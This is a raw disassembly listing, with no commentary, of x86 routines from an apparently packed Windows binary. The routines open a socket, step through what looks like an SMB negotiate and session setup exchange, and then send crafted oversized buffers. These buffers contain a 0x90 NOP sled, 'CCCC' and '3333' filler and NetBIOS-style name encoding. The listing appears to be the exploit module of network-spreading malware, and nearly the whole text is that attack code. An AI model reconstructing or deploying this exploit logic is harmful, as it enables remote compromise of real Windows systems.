		call	sub_4114D0	; memcpy
		push	esi
		lea	eax, [ebp+var_868]
		push	0FFFFFF90h
		push	eax
		call	sub_4114E8	; memset
		push	[ebp+arg_0]
		add	esi, 100h
		lea	eax, [ebp+var_B68]
		push	eax
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_4114D0	; memcpy
		add	esi, [ebp+arg_0]
		lea	eax, [ebp+var_168]
		push	ebx
		push	eax
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_4114D0	; memcpy
		add	esi, ebx
		push	0Ah
		push	offset off_415978
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_4114D0	; memcpy
		add	esi, 0Ah
		push	32h
		push	offset dword_41590C
		lea	eax, [ebp+esi+var_968]
		push	eax
		call	sub_4114D0	; memcpy
		add	esi, 32h
		add	esp, 48h
		mov	[ebp+var_960], esi
		lea	eax, [esi-18h]
		push	esi
		mov	[ebp+var_958], eax
		lea	eax, [ebp+var_968]
		push	eax
		push	dword ptr [edi+3Eh]
		call	sub_403D9D
		push	0EA60h
		push	dword ptr [edi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		pop	ebx
		jz	short loc_40C131
		push	0
		lea	eax, [ebp+var_1B68]
		push	1000h
		push	eax
		push	dword ptr [edi+3Eh]
		call	dword_412258	; recv


loc_40C131:				; CODE XREF: sub_40BE68+33j
					; sub_40BE68+88j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40BE68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C135	proc near		; CODE XREF: sub_40C501+F4p
					; sub_40C501+102p ...

var_A4F0	= byte ptr -0A4F0h
var_A488	= byte ptr -0A488h
var_8418	= byte ptr -8418h
var_7418	= byte ptr -7418h
var_73A8	= byte ptr -73A8h
var_68E4	= byte ptr -68E4h
var_5340	= byte ptr -5340h
var_42AC	= byte ptr -42ACh
var_37E4	= byte ptr -37E4h
var_37E1	= byte ptr -37E1h
var_37B7	= byte ptr -37B7h
var_37B5	= byte ptr -37B5h
var_37B4	= byte ptr -37B4h
var_27E4	= byte ptr -27E4h
var_2768	= byte ptr -2768h
var_1F98	= byte ptr -1F98h
var_1AED	= byte ptr -1AEDh
var_1800	= byte ptr -1800h
var_101E	= byte ptr -101Eh
var_101C	= byte ptr -101Ch
var_100C	= byte ptr -100Ch
var_CE8		= byte ptr -0CE8h
var_CE4		= byte ptr -0CE4h
var_CD8		= byte ptr -0CD8h
var_A54		= byte ptr -0A54h
var_A50		= byte ptr -0A50h
var_9B0		= byte ptr -9B0h
var_2A4		= byte ptr -2A4h
var_294		= byte ptr -294h
var_280		= byte ptr -280h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 0A4F0h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	7
		push	offset dword_415854
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_280]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_280]
		add	esp, 20h
		test	eax, eax
		jz	loc_40C4F9
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [esi+42h]
		push	eax
		call	sub_40311D
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4117A8	; wcslen
		mov	ebx, eax
		push	60h
		lea	eax, [ebp+var_37E4]
		push	offset dword_415BB8
		push	eax
		shl	ebx, 1
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_80]
		push	ebx
		push	eax
		lea	eax, [ebp+var_37B4]
		push	eax
		call	sub_4114D0	; memcpy
		push	9
		lea	eax, [ebp+ebx+var_37B5]
		push	(offset	aC+3)
		push	eax
		call	sub_4114D0	; memcpy
		mov	al, bl
		add	al, 34h
		mov	[ebp+var_37E1],	al
		mov	al, bl
		add	al, 9
		add	ebx, 38h
		mov	[ebp+var_37B7],	al
		lea	eax, [ebp+var_37E4]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		mov	edi, 0EA60h
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 44h
		test	eax, eax
		jz	loc_40C3FE
		mov	ebx, 1000h
		push	0
		lea	eax, [ebp+var_8418]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv
		push	68h
		push	offset dword_415C1C
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40C3FE
		push	0
		lea	eax, [ebp+var_8418]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv
		push	0A0h
		push	offset dword_415C88
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40C3FE
		push	0
		lea	eax, [ebp+var_8418]
		push	ebx
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		jz	loc_40C438
		push	2
		lea	eax, [ebp+var_101E]
		push	offset loc_4152CC
		push	eax
		call	sub_4114D0	; memcpy
		lea	ebx, ds:415FB0h[ebx*4]
		push	4
		lea	eax, [ebp+var_101C]
		push	ebx
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		lea	eax, [ebp+var_280]
		push	eax
		lea	eax, [ebp+var_100C]
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_CE8]
		push	offset loc_415FBC
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_CE4]
		push	ebx
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		lea	eax, [ebp+var_280]
		push	eax
		lea	eax, [ebp+var_CD8]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		and	[ebp+var_A54], 0
		lea	eax, [ebp+var_1800]
		push	0DADh
		push	eax
		lea	eax, [ebp+var_5340]
		push	eax
		call	sub_40588E
		mov	ebx, 1C52h
		lea	eax, [ebp+var_A4F0]
		push	ebx
		push	31h
		push	eax
		call	sub_4114E8	; memset
		push	ebx
		lea	eax, [ebp+var_7418]
		push	31h
		push	eax
		call	sub_4114E8	; memset
		push	68h
		lea	eax, [ebp+var_A4F0]
		push	offset dword_415E40
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_5340]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_A488]
		push	eax
		call	sub_4114D0	; memcpy
		push	70h
		lea	eax, [ebp+var_7418]
		push	offset dword_415EAC
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_42AC]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_73A8]
		push	eax
		call	sub_4114D0	; memcpy
		push	84h
		lea	eax, [ebp+var_68E4]
		push	offset dword_415F20
		push	eax
		call	sub_4114D0	; memcpy
		push	10FCh
		lea	eax, [ebp+var_A4F0]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 2Ch
		test	eax, eax
		jnz	short loc_40C405


loc_40C3FE:				; CODE XREF: sub_40C135+E2j
					; sub_40C135+11Dj ...
		xor	eax, eax
		jmp	loc_40C4FC
; ---------------------------------------------------------------------------


loc_40C405:				; CODE XREF: sub_40C135+2C7j
		push	0
		lea	eax, [ebp+var_8418]
		push	640h
		push	eax
		push	dword ptr [esi+3Eh]
		call	dword_412258	; recv
		lea	eax, [ebp+var_7418]
		push	0FDCh
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 0Ch
		jmp	loc_40C4F9
; ---------------------------------------------------------------------------


loc_40C438:				; CODE XREF: sub_40C135+174j
		push	0E29h
		lea	eax, [ebp+var_27E4]
		push	31h
		push	eax
		call	sub_4114E8	; memset
		mov	edi, 7D0h
		push	0
		lea	eax, [ebp+var_A50]
		push	edi
		push	eax
		call	sub_40D5A8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_280]
		push	eax
		lea	eax, [ebp+var_9B0]
		push	eax
		call	sub_4114D0	; memcpy
		push	4
		lea	eax, [ebp+var_2A4]
		push	offset dword_415FB0
		push	eax
		call	sub_4114D0	; memcpy
		push	7
		lea	eax, [ebp+var_294]
		push	offset sub_415FA8
		push	eax
		call	sub_4114D0	; memcpy
		push	7Ch
		lea	eax, [ebp+var_27E4]
		push	offset dword_415D2C
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_A50]
		push	edi
		push	eax
		lea	eax, [ebp+var_2768]
		push	eax
		call	sub_4114D0	; memcpy
		push	90h
		lea	eax, [ebp+var_1F98]
		push	offset off_415DAC
		push	eax
		call	sub_4114D0	; memcpy
		and	[ebp+var_1AED],	0
		lea	eax, [ebp+var_27E4]
		push	0CF8h
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 24h


loc_40C4F9:				; CODE XREF: sub_40C135+50j
					; sub_40C135+2FEj
		push	1
		pop	eax


loc_40C4FC:				; CODE XREF: sub_40C135+2CBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C135	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C501	proc near		; CODE XREF: sub_40C501+12Bp
					; DATA XREF: kkrunchy:00417E74o

var_30		= dword	ptr -30h
var_1C		= byte ptr -1Ch
var_C		= byte ptr -0Ch
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_1004	= dword	ptr  1008h

		mov	eax, 1004h
		call	sub_411540
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_1004]
		xor	ebx, ebx
		push	edi
		cmp	[esi+3Eh], ebx
		mov	[esp+10h], ebx
		mov	edi, 0EA60h
		jnz	short loc_40C54B
		push	edi
		lea	eax, [esi+17h]
		push	ebx
		push	eax
		lea	eax, [esi+42h]
		mov	dword ptr [esp+1Ch], 1
		push	eax
		call	sub_403C04
		add	esp, 10h
		cmp	eax, ebx
		mov	[esi+3Eh], eax
		jz	loc_40C633


loc_40C54B:				; CODE XREF: sub_40C501+23j
		push	89h
		push	offset dword_4159A0
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40C633
		mov	ebp, 1000h
		push	ebx
		mov	ebx, dword_412258
		lea	eax, [esp+14h+arg_0]
		push	ebp
		push	eax
		push	dword ptr [esi+3Eh]
		call	ebx	; recv
		push	0A8h
		push	offset dword_415A2C
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	loc_40C633
		push	0
		lea	eax, [esp+24h+var_C]
		push	ebp
		push	eax
		push	dword ptr [esi+3Eh]
		call	ebx	; recv
		push	0DEh
		push	offset dword_415AD8
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	edi
		push	dword ptr [esi+3Eh]
		call	sub_403E1F
		add	esp, 14h
		test	eax, eax
		jz	short loc_40C633
		xor	edi, edi
		lea	eax, [esp+30h+var_1C]
		push	edi
		push	ebp
		push	eax
		push	dword ptr [esi+3Eh]
		call	ebx	; recv
		cmp	[esp+40h+arg_14], 30h
		jnz	short loc_40C60A
		push	1
		push	esi
		call	sub_40C135
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C60A
		push	2
		push	esi
		call	sub_40C135
		jmp	short loc_40C631
; ---------------------------------------------------------------------------


loc_40C60A:				; CODE XREF: sub_40C501+EFj
					; sub_40C501+FDj
		cmp	[esp+40h+arg_14], 31h
		jnz	short loc_40C633
		push	edi
		push	esi
		call	sub_40C135
		cmp	[esp+48h+var_30], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C633
		push	dword ptr [esi+3Eh]
		call	sub_403D70
		push	esi
		mov	[esi+3Eh], edi
		call	sub_40C501


loc_40C631:				; CODE XREF: sub_40C501+107j
		pop	ecx
		pop	ecx


loc_40C633:				; CODE XREF: sub_40C501+44j
					; sub_40C501+6Aj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1004h
		retn
sub_40C501	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0A00h
		push	ebx
		mov	ebx, [ebp+8]
		push	1
		push	offset byte_4191D0
		push	dword ptr [ebx+2Ah]
		lea	eax, [ebx+146h]
		push	eax
		lea	eax, [ebx+0C6h]
		push	eax
		lea	eax, [ebp-0A00h]
		push	dword ptr [ebx+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		add	esp, 20h
		mov	[ebp+8], eax
		test	eax, eax
		jz	loc_40C797
		push	esi
		push	edi
		push	24h
		lea	eax, [ebp-800h]
		push	(offset	loc_415FCA+2)
		push	eax
		call	sub_4114D0	; memcpy
		push	210h
		lea	eax, [ebp-7DCh]
		push	4Dh
		push	eax
		call	sub_4114E8	; memset
		push	4
		lea	eax, [ebp-5CCh]
		pop	edi
		push	edi
		push	offset dword_415FF4
		push	eax
		call	sub_4114D0	; memcpy
		push	edi
		lea	eax, [ebp-5C8h]
		push	offset aCccc	; "CCCC"
		push	eax
		call	sub_4114D0	; memcpy
		push	edi
		lea	eax, [ebp-5C4h]
		push	offset loc_415FC4
		push	eax
		call	sub_4114D0	; memcpy
		mov	esi, (offset loc_415FC4+4)
		push	edi
		lea	eax, [ebp-5C0h]
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp-5BCh]
		push	edi
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		push	edi
		lea	eax, [ebp-5B8h]
		push	offset a3333	; "3333"
		push	eax
		call	sub_4114D0	; memcpy
		push	edi
		lea	eax, [ebp-5B4h]
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		push	edi
		lea	eax, [ebp-5B0h]
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		push	58h
		lea	eax, [ebp-5ACh]
		push	41h
		push	eax
		call	sub_4114E8	; memset
		mov	esi, [ebp+8]
		lea	eax, [ebp-0A00h]
		push	esi
		push	eax
		lea	eax, [ebp-554h]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		add	esi, 2ACh
		push	5
		lea	eax, [ebp+esi-800h]
		push	offset dword_415FFC
		push	eax
		call	sub_4114D0	; memcpy
		add	esi, 5
		lea	eax, [ebp-800h]
		push	esi
		push	eax
		push	dword ptr [ebx+3Eh]
		call	sub_403D9D
		add	esp, 18h
		pop	edi
		pop	esi


loc_40C797:				; CODE XREF: kkrunchy:0040C682j
		pop	ebx
		leave
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0CD8h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	7
		push	offset dword_415854
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp-6D8h]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E399
		add	esp, 20h
		mov	[ebp-8], eax
		test	eax, eax
		jz	loc_40CA9C
		push	89h
		push	offset dword_416014
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		mov	ebx, 2710h
		mov	edi, 600h
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		push	0A8h
		push	offset dword_4160A0
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		push	0DEh
		push	offset dword_41614C
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		mov	al, [ebp-0C98h]
		push	3Eh
		sub	al, 30h
		push	offset dword_41622C
		push	dword ptr [esi+3Eh]
		mov	[ebp-1], al
		mov	al, [ebp-0C94h]
		sub	al, 30h
		mov	[ebp+0Bh], al
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		push	60h
		push	offset dword_41626C
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		push	0A0h
		push	offset dword_4162D0
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp-0CD8h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		test	eax, eax
		jz	loc_40CA9C
		cmp	byte ptr [ebp-1], 5
		push	4
		pop	ebx
		jnz	loc_40C9FC
		cmp	byte ptr [ebp+0Bh], 1
		jnz	loc_40C9F6
		push	86h
		lea	eax, [ebp-374h]
		push	offset dword_416374
		push	eax
		call	sub_4114D0	; memcpy
		mov	edi, [ebp-8]
		lea	eax, [ebp-6D8h]
		push	edi
		push	eax
		lea	eax, [ebp-2EEh]
		push	eax
		call	sub_4114D0	; memcpy
		mov	eax, 2C4h
		push	0
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi-2EEh]
		push	eax
		call	sub_40D5A8
		push	ebx
		lea	eax, [ebp-8Ah]
		push	offset dword_4164D4
		push	eax
		call	sub_4114D0	; memcpy
		mov	edi, offset dword_4164CC
		push	ebx
		lea	eax, [ebp-7Eh]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		push	ebx
		lea	eax, [ebp-5Ah]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 48h
		lea	eax, [ebp-4Eh]
		push	ebx
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		push	20h
		lea	eax, [ebp-2Ah]
		push	offset dword_4163FC
		push	eax
		call	sub_4114D0	; memcpy
		mov	edi, 36Ah
		lea	eax, [ebp-374h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 24h
		push	400h
		call	dword_4120A4	; Sleep
		lea	eax, [ebp-374h]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 0Ch
		jmp	loc_40CA9C
; ---------------------------------------------------------------------------


loc_40C9F6:				; CODE XREF: kkrunchy:0040C926j
		cmp	byte ptr [ebp+0Bh], 0
		jz	short loc_40CA05


loc_40C9FC:				; CODE XREF: kkrunchy:0040C91Cj
		cmp	[ebp-1], bl
		jnz	loc_40CA9C


loc_40CA05:				; CODE XREF: kkrunchy:0040C9FAj
		push	86h
		lea	eax, [ebp-4D8h]
		push	offset dword_416420
		push	eax
		call	sub_4114D0	; memcpy
		mov	eax, 3E8h
		sub	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-452h]
		push	90h
		push	eax
		call	sub_4114E8	; memset
		push	dword ptr [ebp-8]
		lea	eax, [ebp-6D8h]
		push	eax
		lea	eax, [ebp-6Ah]
		sub	eax, [ebp-8]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp-6Ah]
		add	esp, 24h
		mov	[ebp+8], eax
		mov	dword ptr [ebp-8], 10h
		mov	edi, offset dword_4164CC


loc_40CA60:				; CODE XREF: kkrunchy:0040CA73j
		push	ebx
		push	edi
		push	dword ptr [ebp+8]
		call	sub_4114D0	; memcpy
		add	[ebp+8], ebx
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40CA60
		push	20h
		lea	eax, [ebp-2Ah]
		push	offset dword_4164A8
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp-4D8h]
		push	4CEh
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 18h


loc_40CA9C:				; CODE XREF: kkrunchy:0040C7E1j
					; kkrunchy:0040C819j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAA1	proc near		; CODE XREF: kkrunchy:0040CD98p
					; kkrunchy:0040CDA6p

var_2208	= byte ptr -2208h
var_21FF	= byte ptr -21FFh
var_1208	= byte ptr -1208h
var_1205	= byte ptr -1205h
var_11DB	= byte ptr -11DBh
var_11D8	= byte ptr -11D8h
var_10D8	= byte ptr -10D8h
var_980		= byte ptr -980h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2208h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+2Ah]
		lea	eax, [esi+146h]
		push	eax
		lea	eax, [esi+0C6h]
		push	eax
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+0C2h]
		push	200h
		push	eax
		call	sub_40E2C1
		add	esp, 18h
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_40CD8D
		push	89h
		push	offset dword_4164DC
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		mov	ebx, 0EA60h
		mov	edi, 1000h
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		cmp	[ebp+var_21FF],	0
		jnz	loc_40CD8D
		push	0A8h
		push	offset dword_416568
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		push	0DEh
		push	offset dword_416614
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		cmp	[ebp+var_21FF],	0
		jnz	loc_40CD8D
		push	30h
		lea	eax, [ebp+var_1208]
		push	offset dword_4166F4
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_11D8]
		push	eax
		lea	eax, [esi+42h]
		push	eax
		call	sub_40311D
		lea	eax, [eax+eax-2]
		push	1
		lea	ecx, [eax+30h]
		add	eax, 9
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_11DB]
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_4114D0	; memcpy
		mov	eax, [ebp+arg_0]
		push	8
		push	offset dword_416728
		lea	eax, [ebp+eax+var_1208]
		push	eax
		call	sub_4114D0	; memcpy
		add	[ebp+arg_0], 8
		push	1
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFCh
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1205]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1208]
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		add	esp, 44h
		lea	eax, [ebp+var_2208]
		push	ebx
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		cmp	[ebp+var_21FF],	0
		jnz	loc_40CD8D
		push	6Ah
		push	offset dword_416734
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		cmp	[ebp+var_21FF],	0
		jnz	loc_40CD8D
		push	0A0h
		push	offset dword_4167A0
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 1Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CD8D
		cmp	eax, 0Ah
		jbe	loc_40CD8D
		cmp	[ebp+var_21FF],	0
		jnz	loc_40CD8D
		push	0
		lea	eax, [ebp+var_1208]
		push	894h
		push	eax
		call	sub_40D5A8
		add	esp, 0Ch
		cmp	[ebp+arg_4], 0
		push	130h
		jnz	short loc_40CD28
		push	offset dword_416844
		jmp	short loc_40CD2D
; ---------------------------------------------------------------------------


loc_40CD28:				; CODE XREF: sub_40CAA1+27Ej
		push	offset dword_416978


loc_40CD2D:				; CODE XREF: sub_40CAA1+285j
		lea	eax, [ebp+var_1208]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_208]
		push	[ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10D8]
		push	eax
		call	sub_4114D0	; memcpy
		push	0Ch
		lea	eax, [ebp+var_980]
		push	offset dword_416AAC
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_1208]
		push	894h
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403D9D
		push	ebx
		lea	eax, [ebp+var_2208]
		push	edi
		push	eax
		push	dword ptr [esi+3Eh]
		call	sub_403DF6
		add	esp, 34h


loc_40CD8D:				; CODE XREF: sub_40CAA1+43j
					; sub_40CAA1+7Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CAA1	endp

; ---------------------------------------------------------------------------
		push	0
		push	dword ptr [esp+8]
		call	sub_40CAA1
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40CDA0:				; DATA XREF: kkrunchy:00417EE8o
		push	1
		push	dword ptr [esp+8]
		call	sub_40CAA1
		pop	ecx
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40CDAE	proc near		; CODE XREF: sub_40CEBE+12Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_4], esi
		jbe	short loc_40CDDD
		mov	edx, [esp+4+arg_8]


loc_40CDBB:				; CODE XREF: sub_40CDAE+2Dj
		mov	eax, [esp+4+arg_0]
		mov	cl, [esi+eax]
		mov	al, cl
		and	cl, 0Fh
		shr	al, 4
		add	cl, 41h
		add	al, 41h
		mov	[edx], cl
		mov	[edx+1], al
		inc	esi
		inc	edx
		inc	edx
		cmp	esi, [esp+4+arg_4]
		jb	short loc_40CDBB


loc_40CDDD:				; CODE XREF: sub_40CDAE+7j
		pop	esi
		retn
sub_40CDAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CDDF	proc near		; CODE XREF: sub_40CDDF+CDp
					; sub_40CEBE+4DCp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40CDF3
		or	[ebp+arg_7], 1
		jmp	short loc_40CDF7
; ---------------------------------------------------------------------------


loc_40CDF3:				; CODE XREF: sub_40CDDF+Cj
		and	[ebp+arg_7], 0FEh


loc_40CDF7:				; CODE XREF: sub_40CDDF+12j
		mov	ebx, [ebp+arg_20]
		mov	eax, [ebp+arg_24]
		lea	ecx, [ebx+18h]
		cmp	ecx, eax
		ja	short loc_40CE18
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40CE2A
; ---------------------------------------------------------------------------


loc_40CE18:				; CODE XREF: sub_40CDDF+23j
		mov	[ebp+arg_C], ax
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40CE2A:				; CODE XREF: sub_40CDDF+37j
		movzx	eax, [ebp+arg_C]
		push	eax
